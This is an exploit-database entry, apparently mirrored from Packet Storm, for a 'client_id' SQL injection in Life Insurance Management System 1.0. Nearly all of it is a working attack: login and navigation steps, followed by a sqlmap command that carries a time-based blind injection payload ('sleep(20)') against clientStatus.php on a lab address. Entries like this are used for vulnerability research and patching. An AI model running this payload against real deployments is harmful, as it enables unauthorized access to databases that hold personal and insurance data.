Exploit for Life Insurance Management System 1.0 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:160980
# Exploit Title: Life Insurance Management System 1.0 - 'client_id' SQL Injection  
# Date: 15/1/2021  
# Exploit Author: Aitor Herrero  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html  
# Version: 1.0  
# Tested on: Windows /linux /  
  
Login in the application  
  
Go to clientStatus.php?client_id=  
  
sqlmap -u "http://192.168.0.108:8080/lims/clientStatus.php?client_id=1511986129'%20and%20sleep(20)%20and%20'1'='1  
<http://192.168.0.108:8080/lims/clientStatus.php?client_id=1511986129%27%20and%20sleep(20)%20and%20%271%27=%271>"